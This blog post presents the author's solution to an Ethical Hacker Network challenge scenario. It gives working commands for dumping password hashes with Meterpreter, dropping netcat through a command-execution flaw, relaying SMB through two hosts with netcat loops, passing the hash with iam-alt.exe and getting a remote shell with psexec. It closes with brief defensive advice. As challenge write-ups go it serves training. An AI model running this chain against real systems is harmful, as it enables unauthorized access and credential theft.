Solution for the Ethical Hacker Network Challenge

As always, I'm publishing my submission to the latest Ethical Hacker Network Challenge (after the submission deadline of course). I believe that publishing all the solutions (rather than just the winner) creates a richer environment to learn from each-other.

The basic idea came from me seeing tutorials to tunnel SMB over SSH, the difference being that the tunneling had to be done trough two hosts, with netcat and some trickery. I also written about particular steps in detail on the blog previously:

• A few tips for pshtoolkit
• Ranting about Metasploit...
• Short tip

Without further ado, here is my submission:

1) What tool would you have the Winter Warlock download? Why?

The PSH toolkit from: http://oss.coresecurity.com/projects/pshtoolkit.htm to be able to use the password hash for authentication, rather than cracking it (which would take a very looong time, especially because the simpler LANMAN hashes are disabled due to the password length).

2) Devise a step-by-step approach for gaining control of the door1 server so that Kris can execute the dooropen.exe command with the privileges of the jailmaster account. Describe each tool you would use and how you would use it at each step of your hack.

The basic plan is the following:

1. dump the password hashes from "jailmasterlaptop"
2. use "web1" to create a tunnel for a SMB connection to "door1"
3. use psexec + pshtoolkit to authenticate and run the executable

Now for the gory details:

- after compromising the "jailmasterlaptop", hopefully we have access to the meterpreter. There type:

use priv
hashdump

(the first command might not be necessary, but it doesn't do any harm). Note the hashes for the Jail Master account.

- get a netcat onto web1, if there isn't one already (many *NIX systems come with it preinstalled). For example you could do something like this with the command execution vulnerability:

on the laptop:

encode the netcat with base64: base64 -w0 /bin/nc

execute the following commands on "web1":

echo "The base64 encoded string"|base64 -d > /tmp/fb
chmod +x /tmp/fb

If we use the uploaded netcat, change all references in the following text from nc to /tmp/fb

- now we are ready to create the tunnel. Since we have the restriction of only being able to create outgoing connections from "web1", we do the following:

on the laptop (as root):

while true; do nc -l -p 80 -c "nc -l -p 139"; done

on "web1" (trough the command execution vulnerability):

while true; do nc door1 139 -c "nc laptop 80"; done

The while loop is there to give use some leeway if we don't manage to connect in the first try or we get disconnected for some reason.

- being connected, we now need the Pass The hash toolkit download at step 1. There is a slight problem here: on the laptop we might have a version of XP which isn't supported by iam.exe and iam-alt.exe has a little bug (http://hexale.blogspot.com/2008/10/bug-in-iam-alt-makes-it-fail-completely.html). We have two options: fix the bug in the source as the blog post describes and hope that we have a compiler to recompile the source, or patch the binary, by searching for 00x (inverted because of the little endianess of Intel CPU's) in it with a hex editor (mcedit will do) and patch it with \x00\x00\x00 (three time the zero byte) :-)

The toolkit executables need to run from the SYSTEM account, so launch a shell with psexec that has SYSTEM account privileges:

psexec \\laptop -s c:\windows\system32\cmd.exe

Now inject the hash:

iam-alt.exe -h jailmaster:door1:thehashes:recoveredfromjailmasterlaptop

- Finally use psexec to spawn a shell to door1 (proxied trough the laptop and web1):

psexec \\laptop -u DOOR1\jailmaster c:\windows\system32\cmd.exe

Now that we (hopefully) have a shell on door1, search for the executable:

cd \
dir /s|find "dooropen"

3) Briefly finish this tale by describing how the Burgermeisters could detect the tactics you described in your answer to item 2, as well as how they could have defended against each step you described.

The week link in the chain was the "web1" machine. They should have:

• make sure that the web application doesn't have known vulneraibilities :-)
• use something like mod_security to look for suspicious access patterns
• use something like SELinux to disallow stuff like executables being run from /tmp
• disallow all outgoing connections from the server

Patching jailmasterlaptop would also have helped ;-)

Finally, a login restriction could have been placed on the jailmaster account on "door1", such that the account could not be used during non-working hours.